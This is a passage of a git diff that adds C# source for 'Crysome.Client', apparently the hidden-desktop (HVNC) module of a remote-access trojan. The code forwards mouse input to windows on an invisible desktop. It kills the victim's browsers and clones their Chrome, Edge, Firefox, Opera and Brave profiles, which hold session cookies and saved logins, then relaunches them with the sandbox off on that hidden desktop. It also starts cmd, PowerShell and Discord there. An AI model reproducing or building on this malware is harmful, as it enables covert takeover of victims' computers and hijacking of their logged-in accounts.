IntPtr.Zero); + return; + } + StringBuilder stringBuilder = new StringBuilder(260); + Utils.RealGetWindowClass(intPtr, stringBuilder, 260); + if (stringBuilder.ToString() == "#32768") + { + IntPtr subMenu = Utils.GetSubMenu(intPtr, 0); + int num7 = Utils.MenuItemFromPoint(IntPtr.Zero, subMenu, lpPoint); + Utils.GetMenuItemID(subMenu, num7); + Utils.PostMessage(intPtr, 485u, new IntPtr(num7), IntPtr.Zero); + Utils.PostMessage(intPtr, 256u, new IntPtr(13), IntPtr.Zero); + return; + } + break; + } + case 514u: + lmouseDown = false; + switch (Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam).ToInt32()) + { + case -1: + Utils.SetWindowLong(intPtr, -16, Utils.GetWindowLong(intPtr, -16) | 0x8000000); + Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam); + break; + case 8: + Utils.PostMessage(intPtr, 274u, new IntPtr(61472), IntPtr.Zero); + break; + case 9: + { + Utils.WINDOWPLACEMENT lpwndpl = default(Utils.WINDOWPLACEMENT); + lpwndpl.length = Marshal.SizeOf(lpwndpl); + Utils.GetWindowPlacement(intPtr, ref lpwndpl); + if ((lpwndpl.flags & 3) != 0) + { + Utils.PostMessage(intPtr, 274u, new IntPtr(61728), IntPtr.Zero); + } + else + { + Utils.PostMessage(intPtr, 274u, new IntPtr(61488), IntPtr.Zero); + } + break; + } + case 20: + Utils.PostMessage(intPtr, 16u, IntPtr.Zero, IntPtr.Zero); + break; + } + break; + case 512u: + if (lmouseDown) + { + if (hResMoveWindow == IntPtr.Zero) + { + resMoveType = Utils.SendMessage(intPtr, 132u, IntPtr.Zero, lParam); + } + else + { + intPtr = hResMoveWindow; + } + int num = pOINT.x - lpPoint.x; + int num2 = pOINT.y - lpPoint.y; + Utils.GetWindowRect(intPtr, out var lpRect); + int num3 = lpRect.left; + int num4 = lpRect.top; + int num5 = lpRect.right - lpRect.left; + int num6 = lpRect.bottom - lpRect.top; + switch (resMoveType.ToInt32()) + { + default: + return; + case 2: + num3 -= num; + num4 -= num2; + break; + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + return; + case 10: + num3 -= num; + num5 += num; + break; + case 11: + num5 -= num; + break; + case 12: + num4 -= num2; + num6 += num2; + break; + case 13: + num4 -= num2; + num6 += num2; + num3 -= num; + num5 += num; + break; + case 14: + num4 -= num2; + num6 += num2; + num5 -= num; + break; + case 15: + num6 -= num2; + break; + case 16: + num6 -= num2; + num3 -= num; + num5 += num; + break; + case 17: + num6 -= num2; + num5 -= num; + break; + } + Utils.MoveWindow(intPtr, num3, num4, num5, num6, repaint: false); + hResMoveWindow = intPtr; + return; + } + break; + } + } + IntPtr intPtr3 = intPtr; + IntPtr intPtr4; + do + { + intPtr4 = intPtr3; + Utils.ScreenToClient(intPtr4, ref lpPoint); + } + while (!(intPtr3 == IntPtr.Zero) && !(intPtr3 == intPtr4)); + if (flag) + { + lParam = MAKELPARAM(lpPoint.x, lpPoint.y); + StringBuilder stringBuilder2 = new StringBuilder(260); + Utils.RealGetWindowClass(intPtr4, stringBuilder2, 260); + string text = stringBuilder2.ToString(); + if (Utils.PostMessage(intPtr4, msg, wParam, lParam) != IntPtr.Zero) + { + switch (text) + { + case "SysTreeView32": + case "Button": + case "DirectUIHWND": + if (msg == 514 && text != "DirectUIHWND") + { + Utils.PostMessage(intPtr4, 256u, new IntPtr(13), new IntPtr(1835009)); + } + break; + } + return; + } + } + Utils.PostMessage(intPtr4, msg, wParam, lParam); + } + } +} diff --git a/Crysome.Client/Crysome.Client.Hvnc/HvncProcessHandler.cs b/Crysome.Client/Crysome.Client.Hvnc/HvncProcessHandler.cs new file mode 100644 index 0000000..e5484c7 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Hvnc/HvncProcessHandler.cs @@ -0,0 +1,773 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Management; +using System.Runtime.InteropServices; +using System.Security.Principal; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.Win32; + +namespace Crysome.Client.Hvnc; + +internal sealed class HvncProcessHandler +{ + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct STARTUPINFO + { + public int cb; + + public string lpReserved; + + public string lpDesktop; + + public string lpTitle; + + public int dwX; + + public int dwY; + + public int dwXSize; + + public int dwYSize; + + public int dwXCountChars; + + public int dwYCountChars; + + public int dwFillAttribute; + + public int dwFlags; + + public short wShowWindow; + + public short cbReserved2; + + public IntPtr lpReserved2; + + public IntPtr hStdInput; + + public IntPtr hStdOutput; + + public IntPtr hStdError; + } + + private struct PROCESS_INFORMATION + { + public IntPtr hProcess; + + public IntPtr hThread; + + public int dwProcessId; + + public int dwThreadId; + } + + private const int CREATE_NEW_CONSOLE = 16; + + private const int CREATE_UNICODE_ENVIRONMENT = 1024; + + private readonly string _desktopName; + + private const string ChromiumFlags = "--no-sandbox --allow-no-sandbox-job --disable-gpu"; + + [DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + + public HvncProcessHandler(string desktopName) + { + _desktopName = desktopName; + } + + private static bool IsAdmin() + { + try + { + using WindowsIdentity ntIdentity = WindowsIdentity.GetCurrent(); + return new WindowsPrincipal(ntIdentity).IsInRole(WindowsBuiltInRole.Administrator); + } + catch + { + return false; + } + } + + public bool StartExplorer() + { + string text = "C:\\Windows\\explorer.exe /NoUACCheck"; + if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName)) + { + return true; + } + return CreateProc(text); + } + + public bool StartRunDialog() + { + return CreateProc("C:\\Windows\\System32\\rundll32.exe shell32.dll,#61"); + } + + public bool StartCmd() + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "cmd.exe"); + text = (string.IsNullOrEmpty(text) ? "cmd.exe" : text); + if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName)) + { + return true; + } + return CreateProc(text); + } + + public bool StartPowerShell() + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "WindowsPowerShell", "v1.0", "powershell.exe"); + if (!File.Exists(text)) + { + text = "powershell.exe"; + } + if (IsAdmin() && HvncProcessHelper.RunAsRestrictedUser(text, _desktopName)) + { + return true; + } + return CreateProc(text); + } + + public bool StartNotepad() + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe"); + if (File.Exists(text)) + { + return CreateProc(text); + } + return false; + } + + public bool StartCalculator() + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "calc.exe"); + if (File.Exists(text)) + { + return CreateProc(text); + } + text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "System32", "calc.exe"); + if (File.Exists(text)) + { + return CreateProc(text); + } + return false; + } + + private static string GetRegPath(string keyPath, string valueName = "") + { + try + { + if (Registry.GetValue(keyPath, valueName, null) is string text) + { + string text2 = text.Trim('"'); + if (text2.Contains("\"")) + { + text2 = text2.Split('"')[1]; + } + return text2; + } + } + catch + { + } + return null; + } + + public string GetChromePath() + { + try + { + using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.ClassesRoot, RegistryView.Registry32).OpenSubKey("ChromeHTML\\shell\\open\\command"); + if (registryKey != null && registryKey.GetValue(null) is string text) + { + string[] array = text.Split('"'); + return (array.Length >= 2) ? array[1] : null; + } + } + catch + { + } + return null; + } + + public string GetEdgePath() + { + try + { + using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\msedge.exe"); + return registryKey?.GetValue("") as string; + } + catch + { + } + return null; + } + + public string GetFirefoxPath() + { + try + { + using RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox"); + if (!(registryKey?.GetValue("CurrentVersion") is string text)) + { + return null; + } + using RegistryKey registryKey2 = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64).OpenSubKey("SOFTWARE\\Mozilla\\Mozilla Firefox\\" + text + "\\Main"); + return registryKey2?.GetValue("PathToExe") as string; + } + catch + { + } + return null; + } + + public string GetOperaPath() + { + try + { + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet"); + if (registryKey == null) + { + return null; + } + string[] subKeyNames = registryKey.GetSubKeyNames(); + foreach (string text in subKeyNames) + { + if (!text.Contains("Opera") || text.Contains("GX")) + { + continue; + } + using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command"); + if (registryKey2?.GetValue("") is string text2) + { + return text2.Trim('"'); + } + } + } + catch + { + } + return null; + } + + public string GetOperaGXPath() + { + try + { + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Clients\\StartMenuInternet"); + if (registryKey == null) + { + return null; + } + string[] subKeyNames = registryKey.GetSubKeyNames(); + foreach (string text in subKeyNames) + { + if (!text.Contains("Opera") || !text.Contains("GX")) + { + continue; + } + using RegistryKey registryKey2 = registryKey.OpenSubKey(text + "\\shell\\open\\command"); + if (registryKey2?.GetValue("") is string text2) + { + return text2.Trim('"'); + } + } + } + catch + { + } + return null; + } + + public string GetBravePath() + { + return GetRegPath("HKEY_CLASSES_ROOT\\BraveHTML\\shell\\open\\command"); + } + + public bool StartChrome() + { + string chromePath = GetChromePath(); + if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath)) + { + return false; + } + return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData"); + } + + public bool StartChromeCloned() + { + string chromePath = GetChromePath(); + if (string.IsNullOrEmpty(chromePath) || !File.Exists(chromePath)) + { + return false; + } + return CreateProc("\"" + chromePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\ChromeAutomationData"); + } + + public bool StartEdge() + { + string edgePath = GetEdgePath(); + if (string.IsNullOrEmpty(edgePath) || !File.Exists(edgePath)) + { + return false; + } + return CreateProc("\"" + edgePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\EdgeAutomationData"); + } + + public bool StartFirefox() + { + string firefoxPath = GetFirefoxPath(); + if (string.IsNullOrEmpty(firefoxPath) || !File.Exists(firefoxPath)) + { + return false; + } + return CreateProc("\"" + firefoxPath + "\" -no-remote -profile C:\\FirefoxAutomationData"); + } + + public bool StartOpera() + { + string operaPath = GetOperaPath(); + if (string.IsNullOrEmpty(operaPath) || !File.Exists(operaPath)) + { + return false; + } + return CreateProc("\"" + operaPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaAutomationData"); + } + + public bool StartOperaGX() + { + string operaGXPath = GetOperaGXPath(); + if (string.IsNullOrEmpty(operaGXPath) || !File.Exists(operaGXPath)) + { + return false; + } + return CreateProc("\"" + operaGXPath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\OperaGXAutomationData"); + } + + public bool StartBrave() + { + string bravePath = GetBravePath(); + if (string.IsNullOrEmpty(bravePath) || !File.Exists(bravePath)) + { + return false; + } + return CreateProc("\"" + bravePath + "\" --no-sandbox --allow-no-sandbox-job --disable-gpu --user-data-dir=C:\\BraveAutomationData"); + } + + private static void KillBrowsersByDefaultProfile(string exeName, string automationDataDir) + { + try + { + foreach (ManagementObject item in new ManagementObjectSearcher("SELECT ProcessId, CommandLine FROM Win32_Process WHERE Name = '" + exeName + "'").Get()) + { + if (!(item["CommandLine"]?.ToString() ?? "").Contains(automationDataDir)) + { + try + { + Process.GetProcessById(Convert.ToInt32(item["ProcessId"])).Kill(); + } + catch + { + } + } + } + } + catch + { + } + } + + public bool StartDiscord() + { + string text = null; + try + { + using RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Discord"); + text = registryKey?.GetValue("DisplayIcon") as string; + if (text != null) + { + text = text.Trim('"'); + } + } + catch + { + } + Process[] processesByName; + if (string.IsNullOrEmpty(text) || !File.Exists(text)) + { + text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Discord", "Update.exe"); + if (!File.Exists(text)) + { + return false; + } + processesByName = Process.GetProcessesByName("Discord"); + foreach (Process process in processesByName) + { + try + { + process.Kill(); + } + catch + { + } + } + return CreateProc("\"" + text + "\" --processStart Discord.exe"); + } + processesByName = Process.GetProcessesByName("Discord"); + foreach (Process process2 in processesByName) + { + try + { + process2.Kill(); + } + catch + { + } + } + return CreateProc("\"" + text + "\""); + } + + private static string UserProfilePath(string rel) + { + return Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile), rel); + } + + private static async Task CopyDirAsync(string sourceDir, string destDir) + { + if (string.IsNullOrEmpty(sourceDir) || !Directory.Exists(sourceDir)) + { + return false; + } + try + { + if (Directory.Exists(destDir)) + { + await Task.Run(delegate + { + try + { + Directory.Delete(destDir, recursive: true); + } + catch + { + } + }); + } + await Task.Run(() => Directory.CreateDirectory(destDir)); + foreach (string item in Directory.EnumerateDirectories(sourceDir, "*", SearchOption.AllDirectories)) + { + string rel = item.Substring(sourceDir.Length + 1); + await Task.Run(() => Directory.CreateDirectory(Path.Combine(destDir, rel))); + } + SemaphoreSlim sem = new SemaphoreSlim(10); + await Task.WhenAll(Directory.EnumerateFiles(sourceDir, "*", SearchOption.AllDirectories).Select((Func)async delegate(string file) + { + await sem.WaitAsync(); + try + { + string path = file.Substring(sourceDir.Length + 1); + string dest = Path.Combine(destDir, path); + await Task.Run(delegate + { + try + { + File.Copy(file, dest, overwrite: true); + } + catch + { + } + }); + } + finally + { + sem.Release(); + } + })); + return true; + } + catch + { + return false; + } + } + + private static string RecursiveFindDir(string dir, string markerFile) + { + if (string.IsNullOrEmpty(dir) || !Directory.Exists(dir)) + { + return null; + } + if (File.Exists(Path.Combine(dir, markerFile))) + { + return dir; + } + try + { + string[] directories = Directory.GetDirectories(dir); + for (int i = 0; i < directories.Length; i++) + { + string text = RecursiveFindDir(directories[i], markerFile); + if (text != null) + { + return text; + } + } + } + catch + { + } + return null; + } + + private static async Task FindProcessByCommandLine(string processName, string searchStr) + { + return await Task.Run(delegate + { + try + { + foreach (ManagementObject item in new ManagementObjectSearcher("SELECT * FROM Win32_Process WHERE Name = '" + processName + "'").Get()) + { + string text = item["CommandLine"]?.ToString(); + if (text != null && text.Contains(searchStr)) + { + return Convert.ToInt32(item["ProcessId"]); + } + } + } + catch + { + } + return -1; + }); + } + + private async Task CloneChromeAsync() + { + return await CopyDirAsync(UserProfilePath("AppData\\Local\\Google\\Chrome\\User Data"), "C:\\ChromeAutomationData"); + } + + private async Task CloneEdgeAsync() + { + return await CopyDirAsync(UserProfilePath("AppData\\Local\\Microsoft\\Edge\\User Data"), "C:\\EdgeAutomationData"); + } + + private async Task CloneFirefoxAsync() + { + string text = RecursiveFindDir(UserProfilePath("AppData\\Roaming\\Mozilla\\Firefox\\Profiles"), "addons.json"); + bool flag = text != null; + if (flag) + { + flag = await CopyDirAsync(text, "C:\\FirefoxAutomationData"); + } + return flag; + } + + private async Task CloneOperaAsync() + { + return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera Stable"), "C:\\OperaAutomationData"); + } + + private async Task CloneOperaGXAsync() + { + return await CopyDirAsync(UserProfilePath("AppData\\Roaming\\Opera Software\\Opera GX Stable"), "C:\\OperaGXAutomationData"); + } + + private async Task CloneBraveAsync() + { + return await CopyDirAsync(UserProfilePath("AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data"), "C:\\BraveAutomationData"); + } + + private async Task HandleCloneChromeAsync() + { + KillBrowsersByDefaultProfile("chrome.exe", "ChromeAutomationData"); + if (!(await CloneChromeAsync())) + { + int num = await FindProcessByCommandLine("chrome.exe", "ChromeAutomationData"); + if (num >= 0) + { + try + { + Process.GetProcessById(num).Kill(); + } + catch + { + } + await CloneChromeAsync(); + } + } + Thread.Sleep(1000); + StartChromeCloned(); + } + + private async Task HandleCloneEdgeAsync() + { + KillBrowsersByDefaultProfile("msedge.exe", "EdgeAutomationData"); + if (!(await CloneEdgeAsync())) + { + int num = await FindProcessByCommandLine("msedge.exe", "EdgeAutomationData"); + if (num >= 0) + { + try + { + Process.GetProcessById(num).Kill(); + } + catch + { + } + await CloneEdgeAsync(); + } + } + Thread.Sleep(1000); + StartEdge(); + } + + private async Task HandleCloneFirefoxAsync() + { + KillBrowsersByDefaultProfile("firefox.exe", "FirefoxAutomationData"); + if (!(await CloneFirefoxAsync())) + { + int num = await FindProcessByCommandLine("firefox.exe", "FirefoxAutomationData"); + if (num >= 0) + { + try + { + Process.GetProcessById(num).Kill(); + } + catch + { + } + await CloneFirefoxAsync(); + } + } + Thread.Sleep(1000); + StartFirefox(); + } + + private async Task HandleCloneOperaAsync() + { + KillBrowsersByDefaultProfile("opera.exe", "OperaAutomationData"); + if (!(await CloneOperaAsync())) + { + int num = await FindProcessByCommandLine("opera.exe", "OperaAutomationData"); + if (num >= 0) + { + try + { + Process.GetProcessById(num).Kill(); + } + catch + { + } + await CloneOperaAsync(); + } + } + Thread.Sleep(1000); + StartOpera(); + } + + private async Task HandleCloneOperaGXAsync() + { + KillBrowsersByDefaultProfile("opera.exe", "OperaGXAutomationData"); + if (!(await CloneOperaGXAsync())) + { + int num = await FindProcessByCommandLine("opera.exe", "OperaGXAutomationData"); + if (num >= 0) + { + try + { + Process.GetProcessById(num).Kill(); + } + catch + { + } + await CloneOperaGXAsync(); + } + } + Thread.Sleep(1000); + StartOperaGX(); + } + + private async Task HandleCloneBraveAsync() + { + KillBrowsersByDefaultProfile("brave.exe", "BraveAutomationData"); + if (!(await CloneBraveAsync())) + { + int num = await FindProcessByCommandLine("brave.exe", "BraveAutomationData"); + if (num >= 0) + { + try + { + Process.GetProcessById(num).Kill(); + } + catch + { + } + await CloneBraveAsync(); + } + } + Thread.Sleep(1000); + StartBrave(); + } + + public void HandleCloneRequest(byte action) + { + Task.Run(async delegate + { + _ = 5; + try + { + switch (action) + { + case 11: + await HandleCloneChromeAsync(); + break; + case 12: + await HandleCloneEdgeAsync(); + break; + case 13: + await HandleCloneFirefoxAsync(); + break; + case 14: + await HandleCloneOperaAsync(); + break; + case 15: + await HandleCloneOperaGXAsync(); + break; + case 16: + await HandleCloneBraveAsync(); + break; + case 19: + StartDiscord(); + break; + case 17: + case 18: + break; + } + } + catch (Exception ex) + { + Program.Log("HVNC clone: " + ex.Message); + } + }); + } + + public bool CreateProc(string commandLine) + { + if (string.IsNullOrEmpty(commandLine)) + { + return false; + } + STARTUPINFO lpStartupInfo = new STARTUPINFO + { + cb = Marshal.SizeOf(typeof(STARTUPINFO)), + lpDesktop = _desktopName + }; + PROCESS_INFORMATION lpProcessInformation; + return CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 1040, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInformation); + } +} diff --git a/Crysome.Client/Crysome.Client.Hvnc/HvncProcessHelper.cs b/Crysome.Client/Crysome.Client.Hvnc/HvncProcessHelper.cs new file mode 100644 index 0000000..869ee56 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Hvnc/HvncProcessHelper.cs @@ -0,0 +1,203 @@ +using System; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Crysome.Client.Hvnc; + +internal static class HvncProcessHelper +{ + private struct PROCESS_INFORMATION + { + public IntPtr hProcess; + + public IntPtr hThread; + + public int dwProcessId; + + public int dwThreadId; + } + + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] + private struct STARTUPINFO + { + public int cb; + + public string lpReserved; + + public string lpDesktop; + + public string lpTitle; + + public int dwX; + + public int dwY; + + public int dwXSize; + + public int dwYSize; + + public int dwXCountChars; + + public int dwYCountChars; + + public int dwFillAttribute; + + public int dwFlags; + + public short wShowWindow; + + public short cbReserved2; + + public IntPtr lpReserved2; + + public IntPtr hStdInput; + + public IntPtr hStdOutput; + + public IntPtr hStdError; + } + + private struct SID_AND_ATTRIBUTES + { + public IntPtr Sid; + + public uint Attributes; + } + + private struct TOKEN_MANDATORY_LABEL + { + public SID_AND_ATTRIBUTES Label; + } + + private enum TOKEN_INFORMATION_CLASS + { + TokenIntegrityLevel = 25 + } + + public enum SaferLevel : uint + { + NormalUser = 0x20000u + } + + public enum SaferScope : uint + { + User = 2u + } + + [Flags] + public enum SaferOpenFlags : uint + { + Open = 1u + } + + private const uint SE_GROUP_INTEGRITY = 32u; + + public static bool RunAsRestrictedUser(string fileName, string desktopName) + { + if (string.IsNullOrWhiteSpace(fileName)) + { + return false; + } + if (!GetRestrictedSessionUserToken(out var token)) + { + return false; + } + try + { + STARTUPINFO lpStartupInfo = new STARTUPINFO + { + cb = Marshal.SizeOf(typeof(STARTUPINFO)), + lpDesktop = desktopName + }; + PROCESS_INFORMATION lpProcessInformation = default(PROCESS_INFORMATION); + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.Append(fileName); + return CreateProcessAsUser(token, null, stringBuilder, IntPtr.Zero, IntPtr.Zero, bInheritHandles: true, 0u, IntPtr.Zero, Path.GetDirectoryName(fileName), ref lpStartupInfo, out lpProcessInformation); + } + finally + { + CloseHandle(token); + } + } + + private static bool GetRestrictedSessionUserToken(out IntPtr token) + { + token = IntPtr.Zero; + if (!SaferCreateLevel(SaferScope.User, SaferLevel.NormalUser, SaferOpenFlags.Open, out var pLevelHandle, IntPtr.Zero)) + { + return false; + } + IntPtr OutAccessToken = IntPtr.Zero; + TOKEN_MANDATORY_LABEL structure = new TOKEN_MANDATORY_LABEL + { + Label = + { + Sid = IntPtr.Zero + } + }; + IntPtr intPtr = IntPtr.Zero; + try + { + if (!SaferComputeTokenFromLevel(pLevelHandle, IntPtr.Zero, out OutAccessToken, 0, IntPtr.Zero)) + { + return false; + } + structure.Label.Attributes = 32u; + structure.Label.Sid = IntPtr.Zero; + if (!ConvertStringSidToSid("S-1-16-8192", out structure.Label.Sid)) + { + return false; + } + intPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL))); + Marshal.StructureToPtr(structure, intPtr, fDeleteOld: false); + if (!SetTokenInformation(OutAccessToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, intPtr, (uint)Marshal.SizeOf(typeof(TOKEN_MANDATORY_LABEL)))) + { + return false; + } + token = OutAccessToken; + OutAccessToken = IntPtr.Zero; + } + finally + { + SaferCloseLevel(pLevelHandle); + if (structure.Label.Sid != IntPtr.Zero) + { + LocalFree(structure.Label.Sid); + } + if (intPtr != IntPtr.Zero) + { + Marshal.FreeHGlobal(intPtr); + } + if (OutAccessToken != IntPtr.Zero) + { + CloseHandle(OutAccessToken); + } + } + return true; + } + + [DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)] + private static extern bool SaferCreateLevel(SaferScope scope, SaferLevel level, SaferOpenFlags openFlags, out IntPtr pLevelHandle, IntPtr lpReserved); + + [DllImport("advapi32", CallingConvention = CallingConvention.StdCall, SetLastError = true)] + private static extern bool SaferComputeTokenFromLevel(IntPtr LevelHandle, IntPtr InAccessToken, out IntPtr OutAccessToken, int dwFlags, IntPtr lpReserved); + + [DllImport("advapi32", SetLastError = true)] + private static extern bool SaferCloseLevel(IntPtr hLevelHandle); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool ConvertStringSidToSid(string StringSid, out IntPtr ptrSid); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] + private static extern bool CloseHandle(IntPtr hObject); + + [DllImport("kernel32.dll", SetLastError = true)] + private static extern IntPtr LocalFree(IntPtr hMem); + + [DllImport("advapi32.dll", SetLastError = true)] + private static extern bool SetTokenInformation(IntPtr TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, IntPtr TokenInformation, uint TokenInformationLength); + + [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + private static extern bool CreateProcessAsUser(IntPtr hToken, string lpApplicationName, StringBuilder lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); +} diff --git a/Crysome.Client/Crysome.Client.Hvnc/Utils.cs b/Crysome.Client/Crysome.Client.Hvnc/Utils.cs new file mode 100644 index 0000000..da80db7 --- /dev/null +++ b/Crysome.Client/Crysome.Client.Hvnc/Utils.cs @@ -0,0 +1,313 @@ +using System; +using System.Runtime.InteropServices; +using System.Text; +using Microsoft.Win32; + +namespace Crysome.Client.Hvnc; + +public sealed class Utils +{ + public delegate bool EnumDesktopWindowsDelegate(IntPtr hWnd, IntPtr lParam); + + public enum DESKTOP_ACCESS : uint + { + DESKTOP_NONE = 0u, + DESKTOP_READOBJECTS = 1u, + DESKTOP_CREATEWINDOW = 2u, + DESKTOP_CREATEMENU = 4u, + DESKTOP_HOOKCONTROL = 8u, + DESKTOP_JOURNALRECORD = 16u, + DESKTOP_JOURNALPLAYBACK = 32u, + DESKTOP_ENUMERATE = 64u, + DESKTOP_WRITEOBJECTS = 128u, + DESKTOP_SWITCHDESKTOP = 256u, + GENERIC_ALL = 511u + } + + public enum GetWindowType : uint + { + GW_HWNDFIRST, + GW_HWNDLAST, + GW_HWNDNEXT, + GW_HWNDPREV, + GW_OWNER, + GW_CHILD, + GW_ENABLEDPOPUP + } + + public enum SETWINDOWPOSITION : uint + { + SWP_NOSIZE = 1u, + SWP_NOMOVE = 2u, + SWP_NOZORDER = 4u, + SWP_NOACTIVATE = 0x10u, + SWP_SHOWWINDOW = 0x40u, + SWP_HIDEWINDOW = 0x80u, + SWP_ASYNCWINDOWPOS = 0x4000u + } + + public struct POINT + { + public int x; + + public int y; + } + + public struct RECT + { + public int left; + + public int top; + + public int right; + + public int bottom; + } + + public struct WINDOWPLACEMENT + { + public int length; + + public int flags; + + public int showCmd; + + public POINT ptMinPosition; + + public POINT ptMaxPosition; + + public RECT rcNormalPosition; + } + + public const uint DESKTOP_ENUMERATE = 1u; + + public const int GWL_STYLE = -16; + + public const int WS_DISABLED = 134217728; + + public const int WM_CHAR = 258; + + public const int WM_KEYDOWN = 256; + + public const int WM_KEYUP = 257; + + public const uint WM_PASTE = 770u; + + public const int VK_CONTROL = 17; + + public const int V_KEY_V = 86; + + public const int WM_LBUTTONUP = 514; + + public const int WM_LBUTTONDOWN = 513; + + public const int WM_MOUSEMOVE = 512; + + public const int WM_CLOSE = 16; + + public const int WM_SYSCOMMAND = 274; + + public const int SC_MINIMIZE = 61472; + + public const int SC_RESTORE = 61728; + + public const int SC_MAXIMIZE = 61488; + + public const int HTCAPTION = 2; + + public const int HTTOP = 12; + + public const int HTBOTTOM = 15; + + public const int HTLEFT = 10; + + public const int HTRIGHT = 11; + + public const int HTTOPLEFT = 13; + + public const int HTTOPRIGHT = 14; + + public const int HTBOTTOMLEFT = 16; + + public const int HTBOTTOMRIGHT = 17; + + public const int HTCLOSE = 20; + + public const int HTMINBUTTON = 8; + + public const int HTMAXBUTTON = 9; + + public const int HTTRANSPARENT = -1; + + public const int VK_RETURN = 13; + + public const int MN_GETHMENU = 481; + + public const int BM_CLICK = 245; + + public const int MAX_PATH = 260; + + public const int WM_NCHITTEST = 132; + + public const int SW_SHOWMAXIMIZED = 3; + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr GetDC(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + public static extern bool SetThreadDesktop(IntPtr hDesktop); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr OpenDesktop(string lpszDesktop, int dwFlags, bool fInherit, uint dwDesiredAccess); + + [DllImport("user32.dll", CharSet = CharSet.Unicode, SetLastError = true)] + public static extern IntPtr CreateDesktop(string lpszDesktop, IntPtr lpszDevice, IntPtr pDevmode, int dwFlags, uint dwDesiredAccess, IntPtr lpsa); + + [DllImport("user32.dll")] + public static extern IntPtr GetDesktopWindow(); + + [DllImport("user32.dll", SetLastError = true)] + public static extern bool GetWindowRect(IntPtr hwnd, out RECT lpRect); + + [DllImport("user32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool IsWindowVisible(IntPtr hWnd); + + [DllImport("user32.dll", SetLastError = true)] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool PrintWindow(IntPtr hwnd, IntPtr hDC, uint nFlags); + + [DllImport("user32.dll", SetLastError = true)] + public static extern IntPtr GetWindow(IntPtr hWnd, GetWindowType uCmd); + + [DllImport("user32.dll")] + public static extern IntPtr GetTopWindow(IntPtr hWnd); + + [DllImport("user32.dll")] + public static extern bool ReleaseDC(IntPtr hWnd, IntPtr hDC); + + [DllImport("gdi32.dll")] + public static extern IntPtr CreateCompatibleDC(IntPtr hdc); + + [DllImport("gdi32.dll")] + public static extern IntPtr CreateCompatibleBitmap(IntPtr hdc, int nWidth, int nHeight); + + [DllImport("gdi32.dll")] + public static extern IntPtr SelectObject(IntPtr hdc, IntPtr hgdiobj); + + [DllImport("gdi32.dll")] + [return: MarshalAs(UnmanagedType.Bool)] + public static extern bool 